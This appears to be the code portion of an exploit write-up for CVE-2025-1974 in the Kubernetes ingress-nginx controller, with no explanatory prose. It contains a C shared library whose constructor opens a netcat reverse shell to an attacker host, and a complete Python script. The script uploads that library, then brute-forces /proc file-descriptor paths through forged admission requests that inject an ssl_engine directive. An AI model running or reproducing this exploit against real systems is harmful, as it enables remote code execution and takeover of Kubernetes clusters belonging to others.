1

gcc -fPIC -shared -o shell.so shell.c

1

python3 exploit.py

1
2
3
4

#include <stdlib.h>
__attribute__((constructor)) void init() {
   system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'"); 
}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143

import json
import requests
import threading
import time
import urllib3
import socket
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def upload_shell_via_socket(file_path, target_host, target_port):
    print("[*] Uploading shell.so via raw socket to keep FD open...")
    try:
        with open(file_path, "rb") as f:
            data = f.read()
        data += b"\x00" * (16384 - len(data) % 16384)
        content_len = len(data) + 2024

        payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_host, target_port))
        sock.sendall(payload)
        print("[*] Payload sent, holding connection open for 220s...")
        time.sleep(220)
        sock.close()
    except Exception as e:
        print(f"[!] Upload failed: {e}")

def build_payload(pid, fd):
    annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#"
    return {
        "kind": "AdmissionReview",
        "apiVersion": "admission.k8s.io/v1",
        "request": {
            "uid": "exploit-uid",
            "kind": {
                "group": "networking.k8s.io",
                "version": "v1",
                "kind": "Ingress"
            },
            "resource": {
                "group": "networking.k8s.io",
                "version": "v1",
                "resource": "ingresses"
            },
            "requestKind": {
                "group": "networking.k8s.io",
                "version": "v1",
                "kind": "Ingress"
            },
            "requestResource": {
                "group": "networking.k8s.io",
                "version": "v1",
                "resource": "ingresses"
            },
            "name": "example-ingress",
            "operation": "CREATE",
            "userInfo": {
                "username": "kube-review",
                "uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d"
            },
            "object": {
                "kind": "Ingress",
                "apiVersion": "networking.k8s.io/v1",
                "metadata": {
                    "name": "example-ingress",
                    "annotations": {
                        "nginx.ingress.kubernetes.io/auth-url": annotation
                    }
                },
                "spec": {
                    "ingressClassName": "nginx",
                    "rules": [
                        {
                            "host": "hello-world.com",
                            "http": {
                                "paths": [
                                    {
                                        "path": "/",
                                        "pathType": "Prefix",
                                        "backend": {
                                            "service": {
                                                "name": "web",
                                                "port": { "number": 8080 }
                                            }
                                        }
                                    }
                                ]
                            }
                        }
                    ]
                }
            },
            "oldObject": None,
            "dryRun": False,
            "options": {
                "kind": "CreateOptions",
                "apiVersion": "meta.k8s.io/v1"
            }
        }
    }

def send_requests(admission_url, pid_range, fd_range):
    for pid in range(pid_range[0], pid_range[1]):
        for fd in range(fd_range[0], fd_range[1]):
            print(f"Trying /proc/{pid}/fd/{fd}")
            payload = build_payload(pid, fd)
            try:
                resp = requests.post(
                    f"{admission_url}/networking/v1/ingresses",
                    headers={"Content-Type": "application/json"},
                    data=json.dumps(payload),
                    verify=False,
                    timeout=5
                )
                result = resp.json()
                msg = result.get("response", {}).get("status", {}).get("message", "")
                if "No such file" in msg or "Permission denied" in msg:
                    continue
                print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}")
            except Exception as e:
                print(f"[-] Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974")
    parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)")
    parser.add_argument("--shell", default="shell.so", help="Path to shell.so file")
    parser.add_argument("--pid-start", type=int, default=26)
    parser.add_argument("--pid-end", type=int, default=30)
    parser.add_argument("--fd-start", type=int, default=1)
    parser.add_argument("--fd-end", type=int, default=100)
    args = parser.parse_args()

    host = args.upload_url.split("://")[-1].split(":")[0]
    port = int(args.upload_url.split(":")[-1])

    upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port))
    upload_thread.start()
    time.sleep(3)
    send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end))
    upload_thread.join()